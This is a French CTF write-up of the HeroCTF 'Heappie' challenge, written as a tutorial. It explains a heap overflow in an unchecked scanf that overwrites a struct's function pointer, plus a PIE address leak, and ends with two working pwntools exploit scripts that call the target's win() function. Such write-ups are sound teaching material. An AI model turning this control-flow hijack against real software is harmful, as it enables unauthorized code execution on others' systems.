Skip to content

Cet article se veut davantage “tutoriel” : il contiendra donc beaucoup plus de détails que les writeups “classiques”. C’était aussi ma toute première exploitation de tas, et en 64 bits ! J’ai trouvé que ce challenge était une excellente introduction à l’exploitation de tas, donc merci à xanhacks pour ça !


Description

Write Up: 0eufc0smique
Créateur: xanhacks
Difficulté: very-easy
Points: 50
Format du flag: Hero{..........}

Enoncé

Heappie is a simple application that allows you to save and play your favorite songs. Find a way to exploit it and read the flag.

Pièce jointe: heappie.zip


Premiere étape: vérification du type de binaire et des protections

  • Je préfère commencer par vérifier les protections en place et le type de binaire auquel on a affaire, avant de plonger dans le code source : ça m’aide à visualiser quelles possibilités s’offriront à moi quand j’analyserai le code.*
  checksec heappie
[*] '/home/kali/secu_classes_ctf/ctf_events/hero_ctf_2024/pwn/Heappie/heappie'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

  file heappie
heappie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d8609e05595130735a889757138dd5768389f6b1, for GNU/Linux 3.2.0, with debug_info, not stripped

On en déduit : NX ⇒ on ne peut pas exécuter directement sur la pile. PIE ⇒ l’adresse de base du programme (l’endroit où il est chargé en mémoire) est randomisée à chaque exécution. Le binaire est 64 bits, et n’est pas “stripped”, ce qui veut dire que les noms de symboles ne sont pas supprimés.

Analyse du code source

  • On repère une fonction win, qui est généralement le nom de la fonction à appeler pour obtenir le flag dans les challenges CTF :

    void win() {
        char flag[64];
        FILE* f = fopen("flag.txt", "r");
        if (f == NULL) {
            puts("Flag file is missing!");
            exit(1);
        }
    
        fgets(flag, sizeof(flag), f);
        printf("Flag: %s", flag);
        fclose(f);
    }
    
  • La ligne scanf("%s", music->description); montre que scanf est utilisé pour écrire l’entrée utilisateur dans l’élément description d’une structure music (music->description), sans aucune vérification de taille. On peut donc y mettre un texte aussi long qu’on le souhaite… et potentiellement déborder de la mémoire qu’on pourra exploiter.

void add_music() {

    if (playlist_size == playlist_capacity) {
        playlist_capacity += 10;
        playlist = realloc(playlist, playlist_capacity * sizeof(Music));
    }

    Music* music = &playlist[playlist_size];
    char add_music = 'n';
    printf("Do you want to add a sound to the music? (y/n): ");
    scanf(" %c", &add_music);
    if (add_music == 'y') {
        music->play = choose_random_play();
        puts("Sound added to the music!");
    } else {
        puts("No sound added to the music!");
    }
    printf("Enter music title: ");
    scanf("%31s", music->title);
    printf("Enter music artist: ");
    scanf("%31s", music->artist);

    **printf("Enter music description: ");
    scanf("%s", music->description);**

    puts("Music added to your playlist!\n");
    playlist_size++;
}
  ```

- Regardons la composition de la structure `Music` :

```c
typedef struct Music {
    void (*play)(struct Music*);
    char title[32];
    char artist[32];
    char description[128]; // c'est ce qu'on va remplir
} Music;
  • Imaginons qu’on crée une première structure appelée music_1. En voyant la disposition ci-dessus, on comprend que si on remplit le champ description au-delà de 128 caractères, on sort de l’espace alloué à cette structure. Désormais, créons une seconde structure appelée music_2...
  • Question : où atterrit la partie débordée de music_1 ? Directement dans le premier élément de music_2: le pointeur play.
  • Ainsi, ce qui sera écrit à l’emplacement de play sera interprété comme une adresse mémoire qui, à un moment donné, sera exécutée.
  • Je songe donc à y écrire l’adresse de la fonction win. Voyons comment la déclencher.

Lorsque nous créons une deuxième structure, elle se place en mémoire (sur le tas, via les appels à malloc et realloc) juste après la première. Donc, déborder la première nous amène directement dans la seconde.

  • Par curiosité ⇒ play est utilisé dans la fonction play_music :
void play_music() {
    int index;

    printf("Enter music index: ");
    scanf("%d", &index);

   if (index < 0 || index >= playlist_size) {
        puts("Invalid index!\n");
        return;
    }

    Music* music = &playlist[index];
    if (music->play == NULL) {
        puts("No sound for this music!\n");
        return;
    }

    music->play(music);
}

Idée de plan

  • On veut :
  • remplir la première structure Music (champ description) avec 128 caractères, histoire de couvrir l’intégralité de l’espace dévolu.
  • rajouter 8 octets pour aller écrire dans le premier champ de la structure suivante (play). Ces 8 octets contiendront l’adresse de la fonction win.
  • ensuite on lance la lecture (option play_music) du bon index, et on devrait avoir le flag.

  • Tout cela parce que :

  • on sait que la deuxième structure sera placée tout de suite après la première dans le tas ;
  • le champ play du deuxième élément sera exécuté si on joue la musique associée.

Interaction avec le programme

  • heappie nous affiche un menu :

img1

  • Quand on ajoute une musique, on nous propose : Do you want to add a sound to the music? (y/n): ; choisissons n pour voir :

img

  • Puis on nous demande un titre, un artiste et une description :

img

(une fois fini, on revient au menu)

  • Regardons l’option 4. Show playlist :

img

(nil) signifie qu’à un moment, NULL a été renvoyé.

  • Regardons le code qui effectue cet affichage :
void show_playlist() {
    if (playlist_size == 0) {
        puts("Your playlist is empty!\n");
        return;
    }

    puts("Your playlist:");
    for (int i = 0; i < playlist_size; i++) {
        Music* music = &playlist[i];
        printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);
    }
} 
  • OK, refaisons la manip en ajoutant une autre musique, mais cette fois en choisissant d’ajouter un son (y) pour voir ce qui se passe :

img

0x556949c7d2e9 est l’adresse de music->play (souvenez-vous du printf dans show_playlist()).

  • Parfait, jouons maintenant la première musique :

img

pas de son pour cette musique…

  • Jouons la seconde musique ajoutée :

img

  • Testons l’idée d’injecter 128 caractères A + 4 caractères B dans la première structure, puis créons la seconde structure pour voir si l’adresse affichée contient nos B. Faisons-le directement sans script :

img

Super ! Les B se retrouvent dans le champ play de la seconde structure. Le segfault lors de l’exécution de 0x42424242 confirme que ce qui a débordé dans play est bien exécuté. Donc si on récupère l’adresse de win et qu’on la met à la place, on devrait pouvoir déclencher la fonction et récupérer le flag !

Conclusion :
Nous pouvons écraser le contenu de la seconde structure (ou de la suivante) depuis la première.
L’objectif est d’inscrire l’adresse de win dans play et de l’exécuter pour avoir le flag.
Quand on ajoute un son, l’adresse de play est affichée, et c’est aussi celle qui est exécutée.
OK, il nous reste à trouver comment obtenir l’adresse de win en pratique.

Fuite d’adresses

  • On sait que le binaire n’est pas “stripped”, donc on peut facilement récupérer la fonction win :
 objdump -D -M intel ./heappie | grep win
00000000000011f9 <win>:
    1223:       75 19                   jne    123e <win+0x45>
 readelf -s ./heappie | grep win
    41: 00000000000011f9   132 FUNC    GLOBAL DEFAULT   15 win
  • On a donc l’offset de win, mais cette adresse est partielle, car on sait que l’adresse de base du programme est randomisée à chaque exécution (PIE)...

On doit récupérer l’adresse de win au moment de l’exécution. Autrement dit, il nous faut un script qui lance heappie et, pendant qu’il tourne, obtient l’adresse de win, sélectionne l’option 2. Play music, puis exécute win pour afficher le flag.

Plan final :

  • Nous avons besoin d’un script qui :
  • crée une première structure Music dont on pourra récupérer l’adresse play pour faire une fuite d’adresse (en choisissant y) ;
  • crée une deuxième structure afin de déborder en écrasant la zone mémoire voulue ;
  • crée une troisième structure qui utilisera l’adresse de win calculée à l’exécution ;
  • déclenche la lecture de cette troisième musique (Play music) pour lancer win et obtenir le flag ;
  • tout cela doit s’opérer pendant que le programme tourne.

Comment récupérer l’adresse de base du programme pour localiser win() :

  • On sait déjà :
  • l’offset de win (appelons-le win_offset) ;
  • l’adresse de play_1.
  • Mais on veut l’adresse finale de win. L’idée :
  • pour avoir l’adresse complète de win, il nous faut d’abord l’adresse de base du programme…
  • une fois cette adresse obtenue, on y ajoute l’offset de win, et on a l’adresse de win.
  • Comment l’avoir ?
  • récupérer l’offset de play_1 via Pwntools ;
  • soustraire à l’adresse de play_1 l’offset de play_1 pour obtenir l’adresse de base :
    • program_base_address = play_1_address - play_1_offset
  • calculer l’adresse de win :
    • win_address = program_base_address + win_offset

Tests en local avant d’aller sur la cible distante :

  • J’envoyais d’abord les commandes à la main pour observer le comportement du programme. Mon but : m’assurer que ça fonctionne et obtenir le flag, puis ensuite nettoyer le script.
  • Une fois la première structure créée et l’adresse fuite affichée, je récupérais la sortie pour y chercher l’adresse à l’aide d’une RegEx :

img

  • D’autres captures de mes essais :

img img img img img

Après avoir obtenu le flag en local, on tente en remote.

Test en remote et récupération du flag !

  • J’ai dû modifier la ligne 8 et rajouter les lignes 24 et 25 pour recevoir plus de données, sinon le programme plantait (pour des raisons qui m’échappent un peu, j’aimerais bien des explications si quelqu’un en a ^^)
  • J’étais ravi de voir apparaître le flag :

img

Et voilà, flag obtenu ! :)


Récapitulatif

Heappie nous permet de créer des playlists, stockées sur le tas via malloc() et realloc(). Ces playlists sont des structures music, alignées les unes à la suite des autres. Le dernier champ de la structure, description, n’est soumis à aucun contrôle de taille, ce qui nous permet de déborder sur la structure suivante, plus précisément sur son champ *play, qui sera exécuté en choisissant l’option Play music. En y inscrivant l’adresse de win(), on lance la fonction et on obtient le flag.

Réflexions complémentaires

  1. Pourquoi [*] Switching to interactive mode apparaît après l’affichage des adresses et AVANT la sortie des commandes qu’on envoie ?
  2. Parce que lorsque le payload bascule en mode interactif, les commandes ont déjà été transmises (la fonction p.interactive() arrive à la fin du script, donc le script envoie tout, puis on passe en mode interactif qui nous affiche la sortie). Rien de sorcier ^^
  3. Parfois, le programme crashait, parfois non ⇒ en raison d’ASLR activé sur la machine distante. L’ASLR est lui-même aléatoire : parfois l’adresse chargée est invalide ou déjà occupée, et le programme se crashe quand on tente de l’exécuter.

img

quelques crashs visibles

Retour d’expérience

J’avais un peu d’expérience en exploitation binaire (uniquement sur la pile et du 32 bits) : c’était donc ma première exploitation de tas. J’ai vraiment trouvé ce challenge très formateur pour comprendre les bases.
J’y ai passé environ 6-8 heures, avec un énorme cri de joie quand le flag est finalement tombé ^^


Code source et solveur

Code source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

typedef struct Music {
    void (*play)(struct Music*);
    char title[32];
    char artist[32];
    char description[128];
} Music;

Music* playlist = NULL;
int playlist_size = 0;
int playlist_capacity = 0;

void win() {
    char flag[64];
    FILE* f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("Flag file is missing!");
        exit(1);
    }

    fgets(flag, sizeof(flag), f);
    printf("Flag: %s", flag);
    fclose(f);
}

void play_1(Music* music) {
    printf("Playing music 1: %s by %s\n", music->title, music->artist);
}

void play_2(Music* music) {
    printf("Playing music 2: %s by %s\n", music->title, music->artist);
}

void play_3(Music* music) {
    printf("Playing music 3: %s by %s\n", music->title, music->artist);
}

void* choose_random_play() {
    int choice = rand() % 3;
    switch(choice) {
        case 0:
            return (void*)play_1;
        case 1:
            return (void*)play_2;
        case 2:
            return (void*)play_3;
    }
    return NULL;
}

void show_playlist() {
    if (playlist_size == 0) {
        puts("Your playlist is empty!\n");
        return;
    }

    puts("Your playlist:");
    for (int i = 0; i < playlist_size; i++) {
        Music* music = &playlist[i];
        printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);
    }
}

void add_music() {

    if (playlist_size == playlist_capacity) {
        playlist_capacity += 10;
        playlist = realloc(playlist, playlist_capacity * sizeof(Music));
    }

    Music* music = &playlist[playlist_size];
    char add_music = 'n';
    printf("Do you want to add a sound to the music? (y/n): ");
    scanf(" %c", &add_music);
    if (add_music == 'y') {
        music->play = choose_random_play();
        puts("Sound added to the music!");
    } else {
        puts("No sound added to the music!");
    }
    printf("Enter music title: ");
    scanf("%31s", music->title);

    printf("Enter music artist: ");
    scanf("%31s", music->artist);

    printf("Enter music description: ");
    scanf("%s", music->description);

    puts("Music added to your playlist!\n");
    playlist_size++;
}

void play_music() {
    int index;

    printf("Enter music index: ");
    scanf("%d", &index);

    if (index < 0 || index >= playlist_size) {
        puts("Invalid index!\n");
        return;
    }

    Music* music = &playlist[index];
    if (music->play == NULL) {
        puts("No sound for this music!\n");
        return;
    }

    music->play(music);
}

void delete_music() {
    int index;
    printf("Enter music index: ");
    scanf("%d", &index);

    if (index < 0 || index >= playlist_size) {
        puts("Invalid index!\n");
        return;
    }

    Music* music = &playlist[index];
    memset(music, 0, sizeof(Music));

    for (int i = index; i < playlist_size - 1; i++) {
        playlist[i] = playlist[i + 1];
    }

    puts("Music deleted from your playlist!\n");
    playlist_size--;
}

void setup() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);

    puts("============================================");
    puts("=>           Welcome to Heappie           <=");
    puts("============================================");

    puts("Fill your playlist with your favorite music!");
    puts("");
    puts("Examples:");
    puts("\t1. Imagine by John Lennon");
    puts("\t2. Blowin' in the Wind by Bob Dylan");
    puts("\t3. Aquarius/Let the Sunshine In by The 5th Dimension");
    puts("");
}

int main() {
    srand(time(NULL));
    setup();

    while(1) {
        puts("1. Add music");
        puts("2. Play music");
        puts("3. Delete music");
        puts("4. Show playlist");

        printf(">> ");
        int choice;
        scanf("%d", &choice);

        switch(choice) {
            case 1:
                add_music();
                break;
            case 2:
                play_music();
                break;
            case 3:
                delete_music();
                break;
            case 4:
                show_playlist();
                break;
            default:
                puts("Invalid choice!\n");
                break;
        }
    }

    free(playlist);
    return 0;
}

Solveur un peu sale que j’ai utilisé pour récupérer le flag

#!/home/kali/.venv/bin/python3

from pwn import *
import re

exe = './heappie'
elf = ELF(exe, checksec=False)
p = remote('pwn.heroctf.fr', 6000)

win_offset = elf.symbols['win']

# filling a first struct to leak an address:
p.sendline(b'1')
p.sendline(b'y')
p.sendline(b'play_1')
p.sendline(b'0')
p.sendline(b'biboup')

# leak address
p.sendline(b'4')

# collect data to parse it (numbers are random, i kept increasing the received data until i had an output i could parse)
data = p.recv(8192).decode()
data += p.recv(8192*10).decode()
data += p.recv(8192*10).decode()
print(f"###\ndata received: {data}\n###")

# look for pattern using re.search(pattern, string, flags=0)
matches = re.search('song: (0x[0-9A-Fa-f]+)', data)
print(f"matches: type: {type(matches)}, value: {matches}")
matches = str(matches.group(0))[6:]

if matches:
    play_1_addr = int(matches, 16)
    print(f"leaked play_1_addr: {hex(play_1_addr)}")
else:
    print("found nothing")

# getting win_runtime_addr:
play_1_offset = elf.symbols['play_1']
print(f"play_1_offset: {hex(play_1_offset)}")

base_addr = play_1_addr - play_1_offset
print(f"base_addr: {hex(base_addr)}")

win_runtime_addr = base_addr + win_offset
print(f"win_runtime_addr: {hex(win_runtime_addr)}")


# overflowing struct:
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_2')
p.sendline(b'1')
p.sendline(b'A' * 128 + p64(win_runtime_addr))

# struct containing p64(win_runtime_addr)
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_3')
p.sendline(b'2')
p.sendline(b'eeee')

# now play_3 contains the win runtime address
p.sendline(b'2')
p.sendline(b'2')

p.interactive()

Un solveur un peu moins sale

#!/home/kali/.venv/bin/python3
from pwn import ELF, remote, context, p64
import re

exe = './heappie'
elf = context.binary = ELF(exe, checksec=False)
p = remote('pwn.heroctf.fr', 6000)

# filling a first struct to leak an address:
p.sendline(b'1')
p.sendline(b'y')
p.sendline(b'play_1')
p.sendline(b'0')
p.sendline(b'biboup')

# leak address
p.sendline(b'4')

# collect data to parse it
data = p.recv(8192*10).decode()
data += p.recv(8192*10).decode()
data += p.recv(8192*10).decode()

# find the leaked address
matches = re.search('song: (0x[0-9A-Fa-f]+)', data)
matches = str(matches.group(0))[6:]

if matches:
    play_1_addr = int(matches, 16)
    print(f"play_1_addr: {hex(play_1_addr)}")
else:
    print("found nothing")

# compute runtime address of 'win'
play_1_offset = elf.symbols['play_1']
print(f"play_1_offset: {hex(play_1_offset)}")

elf_base_addr = play_1_addr - play_1_offset
print(f"elf_base_addr: {hex(elf_base_addr)}")

win_offset = elf.symbols['win']
win_runtime_addr = elf_base_addr + win_offset
print(f"win_runtime_addr: {hex(win_runtime_addr)}")

# overflow the second struct:
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_2')
p.sendline(b'1')
p.sendline(b'A' * 128 + p64(win_runtime_addr))

# third struct that will contain win_runtime_addr
p.sendline(b'1')
p.sendline(b'n')
p.sendline(b'play_3')
p.sendline(b'2')
p.sendline(b'eeee')

# trigger play_3 => call win()
p.sendline(b'2')
p.sendline(b'2')

# capture output
data = p.recv(8192).decode()
# parse out the flag
matches = re.search(r'Hero\{[^}]+\}', data)
matches = str(matches.group(0))

if matches:
    flag = matches
    print(f'flag found: {flag}')
else:
    print('flag not found')

# close the connection
p.close()

Remerciements

Plusieurs personnes ont relu ce brouillon mais ne souhaitaient pas être citées, donc il n’y a rien à afficher ici.

Lien(s) utile(s)

Le write-up, en anglais, sur mon blog: https://0eufc0smique.github.io/pwn/Heappie/